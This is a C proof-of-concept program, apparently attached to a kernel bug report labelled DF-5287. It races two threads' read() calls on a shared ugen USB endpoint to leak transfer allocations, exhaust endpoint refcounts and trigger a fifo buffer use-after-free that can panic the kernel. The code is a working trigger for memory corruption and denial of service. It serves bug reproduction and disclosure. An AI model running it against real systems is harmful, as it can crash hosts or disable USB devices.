/*
 * DF-5287 -- concurrent read() on a shared ugen endpoint fd races
 * ugen_transfer_setup() and orphans a live usb_xfer allocation
 * (endpoint refcount_alloc / setup_refcount leak, fifo mbuf UAF).
 *
 * Root cause (sys/bus/u4b/usb_generic.c):
 *   ugen_start_read() -> ugen_open_pipe_read() checks
 *       if (f->xfer[0] || f->xfer[1]) return (0);
 *   under f->priv_lock, but ugen_transfer_setup() then DROPS
 *   priv_lock while calling the sleeping usbd_transfer_setup()
 *   [usb_generic.c:145-152].  A second thread calling read() on the
 *   same fd passes the same "no xfers" check and runs a second
 *   usbd_transfer_setup() on the same f->xfer[] array.
 *   usbd_transfer_setup()'s entry loop writes ppxfer[n] = NULL
 *   [sys/bus/u4b/usb_transfer.c:935], clobbering the first setup's
 *   pointers: the first xfer pair is orphaned --
 *     * xfer->endpoint->refcount_alloc never dropped,
 *     * info->setup_refcount never reaches 0 => memory never freed,
 *     * after USB_EP_REF_MAX(0x3f) orphans, usbd_transfer_setup()
 *       fails (USB_ERR_INVAL) forever => read() returns EIO.
 *   Additionally ugen_transfer_setup() calls usb_fifo_alloc_buffer()
 *   -> usb_fifo_free_buffer() with priv_lock NOT held
 *   [sys/bus/u4b/usb_dev.c:2009], which kfree()s the fifo mbuf
 *   storage and memsets the queues while live callbacks iterate them
 *   under priv_lock => use-after-free.
 *
 * Build:  cc -o df5287 df5287.c -pthread
 * Run:    ./df5287 [iterations]
 * Success criterion: read() starts returning EIO (endpoint refcount
 * exhausted by orphaned xfers -- proves >= 61 double-setups leaked),
 * and/or kernel memory in M_USB/M_USBDEV grows accordingly, and/or
 * panic from the fifo buffer UAF.
 */
#include <sys/types.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#ifndef DEV
#define DEV	"/dev/usb/0.2.1"	/* interrupt IN endpoint of ugen0.2 */
#endif

static int fd;
static int eio_seen;

struct rarg {
	pthread_barrier_t *bar;
	int n;
};

static void *
reader(void *arg)
{
	struct rarg *ra = arg;
	char buf[64];
	int i;

	pthread_barrier_wait(ra->bar);
	for (i = 0; i < ra->n; i++) {
		ssize_t n = read(fd, buf, sizeof(buf));
		if (n < 0 && errno == EIO) {
			eio_seen = 1;
			break;
		}
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t a, b;
	pthread_barrier_t bar;
	struct rarg ra;
	int i, iter = (argc > 1) ? atoi(argv[1]) : 2000;

	for (i = 0; i < iter; i++) {
		fd = open(DEV, O_RDONLY | O_NONBLOCK);
		if (fd < 0) {
			if (errno == EIO || errno == ENXIO) {
				printf("open EIO/ENXIO after %d iters "
				    "(endpoint dead)\n", i);
				return (2);
			}
			err(1, "open (iter %d)", i);
		}
		ra.n = 4;
		ra.bar = &bar;
		pthread_barrier_init(&bar, NULL, 2);
		if (pthread_create(&a, NULL, reader, &ra) ||
		    pthread_create(&b, NULL, reader, &ra))
			err(1, "pthread_create");
		pthread_join(a, NULL);
		pthread_join(b, NULL);
		pthread_barrier_destroy(&bar);
		close(fd);
		if (eio_seen) {
			printf("EIO after %d iterations "
			    "(endpoint refcount_alloc exhausted by "
			    "orphaned usb_xfers -- double-setup race "
			    "won >= 61 times)\n", i);
			return (2);
		}
		if ((i % 100) == 0) {
			printf("iter %d\n", i);
			fflush(stdout);
		}
	}
	printf("no EIO after %d iterations (race not won often enough)\n",
	    iter);
	return (0);
}
